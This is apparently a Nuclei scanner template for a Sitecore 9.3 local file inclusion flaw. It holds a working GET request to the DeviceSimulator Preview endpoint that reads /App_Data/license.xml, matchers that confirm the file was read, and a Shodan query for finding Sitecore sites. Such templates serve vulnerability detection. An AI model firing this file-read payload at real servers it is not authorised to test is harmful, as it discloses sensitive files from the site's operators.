id: sitecore-lfi

info:
  name: Sitecore 9.3 - Webroot File Read
  author: DhiyaneshDK
  severity: high
  description: SiteCore 9.3 is vulnerable to LFI.
  reference:
    - https://blog.assetnote.io/2023/05/10/sitecore-round-two/
  classification:
    cwe-id: CWE-22,CWE-73
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Sitecore"
  tags: sitecore,lfi,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/sitecore/Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController,Sitecore.Mvc.DeviceSimulator.dll/Preview?previewPath=/App_Data/license.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<signedlicense id="
          - "<Signature"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022050f20330000196f1e3c613dca575a9239f1f7732c0b31858577bd97431c4d5ce022100e7f12acb35d87d3254d35be90476407acd8aa0332b94da74cec15d754a3c4095:922c64590222798bb761d5b6d8e72950